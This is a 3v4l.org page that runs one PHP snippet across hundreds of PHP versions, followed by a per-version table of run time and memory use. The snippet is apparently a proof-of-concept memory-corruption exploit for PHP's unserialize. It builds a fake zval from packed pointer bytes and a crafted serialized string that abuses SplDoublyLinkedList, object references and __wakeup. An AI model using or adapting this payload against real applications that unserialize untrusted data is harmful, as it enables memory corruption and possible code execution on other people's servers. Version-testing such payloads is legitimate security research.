3v4l.org

run code in 300+ PHP versions simultaneously
<?php function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'i:1234;:i:1;'; $exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0120.00318.53
8.3.30.0110.00418.48
8.3.20.0090.00020.40
8.3.10.0030.00521.90
8.3.00.0040.00419.38
8.2.170.0120.00322.96
8.2.160.0100.00322.12
8.2.150.0080.00024.18
8.2.140.0070.00024.66
8.2.130.0040.00417.63
8.2.120.0040.00426.35
8.2.110.0030.00620.51
8.2.100.0120.00018.03
8.2.90.0080.00019.20
8.2.80.0000.00917.97
8.2.70.0030.00617.50
8.2.60.0020.00917.68
8.2.50.0060.00318.07
8.2.40.0040.00419.53
8.2.30.0000.00720.76
8.2.20.0060.00317.76
8.2.10.0030.00518.16
8.2.00.0000.00718.05
8.1.270.0000.00923.84
8.1.260.0070.00028.09
8.1.250.0040.00828.09
8.1.240.0040.00422.46
8.1.230.0110.00017.77
8.1.220.0050.00317.79
8.1.210.0000.00818.77
8.1.200.0070.00417.48
8.1.190.0030.00517.23
8.1.180.0040.00418.10
8.1.170.0000.00720.15
8.1.160.0000.00721.99
8.1.150.0070.00018.82
8.1.140.0040.00419.52
8.1.130.0030.00317.73
8.1.120.0030.00317.51
8.1.110.0040.00417.37
8.1.100.0040.00417.41
8.1.90.0000.00717.50
8.1.80.0050.00217.51
8.1.70.0070.00017.44
8.1.60.0030.00617.64
8.1.50.0050.00317.56
8.1.40.0000.01017.59
8.1.30.0030.00517.64
8.1.20.0030.00617.54
8.1.10.0000.00817.51
8.1.00.0020.00517.46
8.0.300.0040.00418.77
8.0.290.0040.00416.88
8.0.280.0040.00418.43
8.0.270.0000.00817.28
8.0.260.0060.00017.34
8.0.250.0040.00416.95
8.0.240.0050.00517.00
8.0.230.0000.00817.05
8.0.220.0000.00716.88
8.0.210.0050.00216.89
8.0.200.0030.00316.94
8.0.190.0000.00717.07
8.0.180.0030.00516.88
8.0.170.0000.00817.02
8.0.160.0040.00417.07
8.0.150.0030.00516.82
8.0.140.0070.00316.92
8.0.130.0030.00313.49
8.0.120.0000.00816.91
8.0.110.0030.00317.03
8.0.100.0070.00016.82
8.0.90.0040.00416.98
8.0.80.0090.00616.94
8.0.70.0040.00416.95
8.0.60.0040.00416.81
8.0.50.0040.00416.95
8.0.30.0090.01017.19
8.0.20.0130.00917.40
8.0.10.0040.00417.11
8.0.00.0090.00916.79
7.4.330.0000.00616.72
7.4.320.0030.00316.53
7.4.300.0020.00516.61
7.4.290.0030.00316.52
7.4.280.0060.00316.62
7.4.270.0040.00416.68
7.4.260.0030.00316.53
7.4.250.0080.00016.39
7.4.240.0000.00716.56
7.4.230.0030.00316.73
7.4.220.0130.00616.66
7.4.210.0050.00916.56
7.4.200.0030.00316.65
7.4.160.0030.01316.53
7.4.150.0100.00717.40
7.4.140.0100.00817.86
7.4.130.0120.00716.53
7.4.120.0130.00716.54
7.4.110.0090.01216.47
7.4.100.0070.01116.38
7.4.90.0090.00916.44
7.4.80.0140.00619.39
7.4.70.0130.00316.42
7.4.60.0000.01816.55
7.4.50.0000.01816.54
7.4.40.0100.00716.47
7.4.30.0170.00316.54
7.4.00.0030.01215.29
7.3.330.0060.00013.39
7.3.320.0060.00013.35
7.3.310.0000.00716.38
7.3.300.0070.00016.44
7.3.290.0060.00016.25
7.3.280.0120.00716.33
7.3.270.0100.01017.40
7.3.260.0130.00716.57
7.3.250.0070.01016.47
7.3.240.0130.00616.55
7.3.230.0060.01116.50
7.3.210.0100.00716.73
7.3.200.0100.01016.43
7.3.190.0120.00616.39
7.3.180.0110.00716.23
7.3.170.0120.00416.41
7.3.160.0120.00316.56
7.3.120.0040.01114.85
7.3.110.0130.00314.85
7.3.100.0070.01014.48
7.3.90.0080.00314.67
7.3.80.0000.01414.73
7.3.70.0090.00414.82
7.3.60.0060.00914.66
7.3.50.0030.01014.93
7.3.40.0080.00614.64
7.3.30.0000.01314.64
7.3.20.0120.00416.53
7.3.10.0130.00416.61
7.3.00.0070.01416.62
7.2.330.0090.00916.52
7.2.320.0090.00916.68
7.2.310.0040.01316.59
7.2.300.0000.01716.77
7.2.290.0170.00716.81
7.2.240.0030.01315.06
7.2.230.0110.00314.92
7.2.220.0090.00614.99
7.2.210.0040.01115.17
7.2.200.0040.01415.18
7.2.190.0070.01014.93
7.2.180.0060.00915.07
7.2.170.0130.00014.93
7.2.160.0070.01114.95
7.2.150.0060.01016.64
7.2.140.0030.00916.83
7.2.130.0030.01116.43
7.2.120.0140.00616.70
7.2.110.0100.01116.63
7.2.100.0140.01116.86
7.2.90.0140.00816.99
7.2.80.0200.00716.92
7.2.70.0080.01016.52
7.2.60.0110.00616.76
7.2.50.0120.00516.71
7.2.40.0140.00616.84
7.2.30.0140.00816.62
7.2.20.0110.00316.55
7.2.10.0140.00616.76
7.2.00.0110.00717.69
7.1.330.0060.01015.80
7.1.320.0000.01615.89
7.1.310.0060.01215.72
7.1.300.0000.01515.61
7.1.290.0120.00315.50
7.1.280.0070.00715.78
7.1.270.0060.00315.47
7.1.260.0060.00915.68
7.1.250.0090.00715.62
7.1.200.0040.00715.73
7.1.100.0000.01418.37
7.1.70.0050.00317.25
7.1.60.0000.02319.48
7.1.50.0170.00317.01
7.1.00.0030.07722.45
7.0.200.0430.00314.66
7.0.60.0100.06719.93
7.0.50.0100.07717.97
7.0.40.0030.09020.24
7.0.30.0200.03320.11
7.0.20.0300.04720.28
7.0.10.0030.08020.33
7.0.00.0030.04020.06
5.6.280.0100.05021.02
5.6.210.0130.07320.48
5.6.200.0100.08018.16
5.6.190.0070.06320.52
5.6.180.0300.07720.46
5.6.170.0200.04720.47
5.6.160.0130.06020.55
5.6.150.0130.03018.12
5.6.140.0070.07018.15
5.6.130.0030.04318.21
5.6.120.0100.06321.13
5.6.110.0230.06721.00
5.6.100.0100.06020.97
5.6.90.0000.04320.98
5.6.80.0100.04720.39
5.5.350.3830.03720.50
5.5.340.0070.04717.96
5.5.330.0100.07720.27
5.5.320.0230.06320.30
5.5.310.0330.07020.51
5.5.300.0070.07718.04
5.5.290.0030.08717.95
5.5.280.0070.06720.78
5.5.270.0100.03720.83
5.5.260.0070.08020.87
5.5.250.0100.05720.59
5.5.240.0300.05020.27

preferences:
46.95 ms | 400 KiB | 5 Q